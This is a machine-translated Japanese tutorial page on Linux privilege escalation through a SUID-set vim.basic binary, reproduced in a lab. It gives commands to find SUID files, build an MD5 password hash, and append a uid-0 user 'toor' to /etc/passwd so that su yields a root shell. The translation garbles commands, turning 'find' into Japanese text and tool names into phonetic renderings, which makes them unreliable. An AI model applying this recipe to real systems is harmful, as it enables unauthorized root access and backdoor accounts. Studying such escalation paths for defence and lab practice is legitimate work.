Linux は suid vim.basic ファイルを使用して権限昇格を実現します。

Linux は suid vim.basic ファイルを使用して権限昇格を実現します。

カリで再現

まず、必要なvim.basicファイルにsuid権限を設定します。

chmod u+s /usr/bin/vim.basic

まず、通常の権限を持つユーザーをadduser test1する

今は権限昇格に適した環境です

次のコマンドを使用して、suid権限を持つファイルを見つけることができます。

/ -user root -perm -4000 -print 2>/dev/null を検索します
/ -perm -u=s -type f 2>/dev/null を検索します
/ -user root -perm -4000 -exec ls -ldb {} \; を検索します。

権限昇格に使用できるファイルは次のとおりです。

  • ナノマップ
  • ヴィム
  • 探す
  • バッシュ
  • もっと
  • 少ない
  • ナノ
  • cp

vimを使用して権限を昇格するアイデアは、etc/passwdファイルを変更し、自分自身にルート権限を持つユーザーを追加することです。

パスワードファイルのユーザー形式は次のとおりです: ユーザー名:パスワード:uid:gid:コメント:ホームディレクトリ:ユーザーのシェル

ここでルートユーザーのフォーマットを見ることができます

ルート:x:0:0:root:/root:/bin/bash

(実際のパスワードは /etc/shadow ファイルに保存されるため、パスワード部分は x です)

パスワードを生成します: openssl passwd -1 –salt asd 123 を使用します (ここでは L ではなく -1 (数字の 1) です)

パスワードファイルに直接書き込みます。

toor:$1$asd$sTMDZlRI6L.jJEw2I.3x8.:0:0:root:/toor:/bin/bash

vim /etc/passwdで変更することはできますが、保存するときにE212が表示され、変更する権限がないと表示され、保存できません。

この時点で、前に見つけた vim.basic ファイルを使用して実行する必要があります。このプログラムには suid 権限があります。間違いなく編集可能

vim.basic /etc/passwd

これを使用してファイルを開き、変更して正常に保存します

追加されたことがわかり、su toor、パスワード123に切り替えて、IDで権限を確認します。

ルート権限

chmod u+s /usr/bin/vim.basic

以上がこの記事の全内容です。皆様の勉強のお役に立てれば幸いです。また、123WORDPRESS.COM を応援していただければ幸いです。

以下もご興味があるかもしれません:
  • Trash-Cli: Linux のコマンドラインごみ箱ツール
  • Linux のごみ箱スクリプトを作成するための 101 個のスクリプト
  • Linux での中国語入力方法の問題を素早く解決する
  • MySQL を使用してポート 3306 を開いたり変更したり、Ubuntu/Linux 環境でアクセス許可を開く
  • Linux システムで Vim を使用してリモート ファイルを読み書きするコマンドの詳細な説明
  • Linux サーバーのグラフィック カードのクラッシュの解決策
  • Linux のごみ箱メカニズムの実装プロセスと使用方法の詳細な説明

<<:  jsでの位置計算を徹底的に理解するのに役立つ記事

>>:  MySQLの複合インデックス方式の詳細な説明

推薦する

ウェブ理論: 考えさせない読書ノート

第 1 章<br /> Web ページをユーザーにとって使いやすいものにするための最も重...

Dockerはホスト間のネットワーク通信を実現するためにMacvlanを導入する

基本的な概念: Macvlanの動作原理: Macvlan は、Linux カーネルでサポートされて...

Linux での rpm、yum、ソースコードの 3 つのインストール方法の詳細な紹介

第1章 ソースコードのインストールRPM パッケージは特定のシステムとプラットフォームに応じて指定さ...

JavaScript 配列重複排除問題の詳細な研究

目次序文 👀リサーチを始めましょう🐱‍🏍オリジナル🧶 indexOf を使用した元の方法の最適化 ✍...

W3C チュートリアル (2): W3C プログラム

W3C 標準化プロセスは 7 つの異なるステップに分かれています。 W3C 標準化プロセスは 7 つ...

Nodejs は readline を使用してコンテンツ入力を促すサンプルコード

目次序文1. batがjsを実行する2. ターミナルにバージョン番号を入力してパッケージ化コマンドを...

CSS3 アドバンス LESS で星空アニメーションを実装するサンプルコード

この記事では、星空アニメーションを実現するための高度な CSS3 LESS のサンプルコードを次のよ...

MySQL5.6.17データベースをインストールするときにMy.iniファイルを構成する方法

最近、プロジェクトの開発時に MySql データベースを使用しました。MySql に関する記事をいく...

Dockerにおけるコンテナとイメージの違いについてお話ししましょう

鏡とは何ですか?イメージは、複数のイメージ レイヤー (UnionFS および AUFS ファイル ...

Vue ページ状態の永続化の詳細な説明

目次コード:補充:要約する要件: 左のツリーと右のテーブル。組織ツリーでノードを選択した後、詳細ペー...

ファイルのアップロードの進行状況を示す React の例

目次React アップロードファイル表示の進行状況デモフロントエンドにReactアプリケーションを素...

MySQLサービスが起動しても接続されない問題の解決策

mysql サービスは開始されていますが、接続できません。この問題を解決するにはどうすればよいでしょ...

Linux DMAインターフェースの知識ポイントの詳細な説明

1. 2種類のDMAマッピング1.1. 一貫性のあるDMAマッピング主に長期間使用されるエリアをマッ...

よく使われるHTMLタグのインライン要素とブロックレベル要素の詳細な説明

ブロック要素HTMLタグ分類の詳細* 住所 - 住所* blockquote - ブロック引用* c...

VMware Workstation 14 Pro は CentOS 7.0 をインストールします

VMware Workstation 14 ProにCentOS 7.0をインストールする具体的な方...